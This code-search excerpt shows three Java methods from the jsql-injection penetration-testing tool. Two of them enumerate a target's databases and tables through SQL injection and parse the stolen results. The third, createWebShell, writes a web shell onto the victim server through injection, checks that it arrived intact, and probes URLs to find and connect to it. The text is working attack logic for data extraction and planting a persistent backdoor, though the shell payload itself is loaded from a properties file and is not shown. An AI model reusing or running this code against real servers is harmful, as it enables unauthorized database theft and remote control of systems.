use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class DataAccess method listDatabases.
/**
* Get database names and table counts and send them to the view.<br>
* Use readable text (not hexa) and parse this pattern:<br>
* => hh[database name 1]jj[table count]hhgghh[database name 2]jj[table count]hhggh...hi<br>
* Data window can be cut before the end of the request but the process helps to obtain
* the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
* @return list of databases found
* @throws JSqlException when injection failure or stopped by user
*/
public static List<Database> listDatabases() throws JSqlException {
LOGGER.trace(I18n.valueByKey("LOG_FETCHING_DATABASES"));
List<Database> databases = new ArrayList<>();
String resultToParse = "";
try {
String[] sourcePage = { "" };
resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlDatabases(), sourcePage, true, 0, null);
} catch (SlidingException e) {
LOGGER.warn(e.getMessage(), e);
// Get pieces of data already retreived instead of losing them
if (!"".equals(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (!"".equals(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
} catch (Exception e) {
LOGGER.warn(e.getMessage(), e);
}
// Parse all data we have retrieved
Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
if (!regexSearch.find()) {
throw new InjectionFailureException();
}
regexSearch.reset();
// Build an array of Database objects from the data we have parsed
while (regexSearch.find()) {
String databaseName = regexSearch.group(1);
String tableCount = regexSearch.group(2);
Database newDatabase = new Database(databaseName, tableCount);
databases.add(newDatabase);
}
Request request = new Request();
request.setMessage(Interaction.ADD_DATABASES);
request.setParameters(databases);
MediatorModel.model().sendToViews(request);
return databases;
}
use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class DataAccess method listTables.
/**
* Get tables name and row count and send them to the view.<br>
* Use readable text (not hexa) and parse this pattern:<br>
* => hh[table name 1]jj[rows count]hhgghh[table name 2]jj[rows count]hhggh...hi<br>
* Data window can be cut before the end of the request but the process helps to obtain
* the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
* @param database which contains tables to find
* @return list of tables found
* @throws JSqlException when injection failure or stopped by user
*/
public static List<Table> listTables(Database database) throws JSqlException {
// Reset stoppedByUser if list of Databases is partial
// and some Tables are still reachable
MediatorModel.model().setIsStoppedByUser(false);
List<Table> tables = new ArrayList<>();
// Inform the view that database has just been used
Request requestStartProgress = new Request();
requestStartProgress.setMessage(Interaction.START_PROGRESS);
requestStartProgress.setParameters(database);
MediatorModel.model().sendToViews(requestStartProgress);
String tableCount = Integer.toString(database.getChildCount());
String resultToParse = "";
try {
String[] pageSource = { "" };
resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlTables(database), pageSource, true, Integer.parseInt(tableCount), database);
} catch (SlidingException e) {
LOGGER.warn(e.getMessage(), e);
// Get pieces of data already retreived instead of losing them
if (!"".equals(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (!"".equals(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
} catch (Exception e) {
LOGGER.warn(e.getMessage(), e);
}
// Parse all the data we have retrieved
Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
Request requestEndProgress = new Request();
requestEndProgress.setMessage(Interaction.END_PROGRESS);
requestEndProgress.setParameters(database);
MediatorModel.model().sendToViews(requestEndProgress);
if (!regexSearch.find()) {
throw new InjectionFailureException();
}
regexSearch.reset();
// Build an array of Table objects from the data we have parsed
while (regexSearch.find()) {
String tableName = regexSearch.group(1);
String rowCount = regexSearch.group(2);
Table newTable = new Table(tableName, rowCount, database);
tables.add(newTable);
}
Request requestAddTables = new Request();
requestAddTables.setMessage(Interaction.ADD_TABLES);
requestAddTables.setParameters(tables);
MediatorModel.model().sendToViews(requestAddTables);
return tables;
}
use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class RessourceAccess method createWebShell.
/**
* Create a webshell in the server.
* @param pathShell Remote path othe file
* @param url
* @throws InterruptedException
* @throws InjectionFailureException
* @throws StoppedByUserSlidingException
*/
public static void createWebShell(String pathShell, String urlShell) throws JSqlException, InterruptedException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.web").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_WEBSHELL));
String resultInjection;
String[] sourcePage = { "" };
try {
resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_WEBSHELL), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
throw new JSqlException("payload integrity verification: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
if (!urlShell.isEmpty()) {
urlShell = urlShell.replaceAll("/*$", "") + "/";
}
String url = urlShell;
if ("".equals(url)) {
url = ConnectionUtil.getUrlBase();
}
if (resultInjection.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("Web payload created into \"" + pathShellFixed + FILENAME_WEBSHELL + "\"");
//
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", "");
} else {
urlProtocol = url.replace(urlWithoutProtocol, "");
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateWebShell"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_WEBSHELL));
}
int submittedTasks = directoryNames.size() * 1;
int tasksHandled;
String urlSuccess = null;
for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
} else {
LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
}
} else {
LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking Web shell", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
if (urlSuccess != null) {
Request request = new Request();
request.setMessage(Interaction.CREATE_SHELL_TAB);
request.setParameters(pathShellFixed.replace(FILENAME_WEBSHELL, ""), urlSuccess);
MediatorModel.model().sendToViews(request);
} else {
LOGGER.warn("HTTP connection to Web payload not found");
}
} else {
throw new JSqlException("Incorrect Web payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
}
Aggregations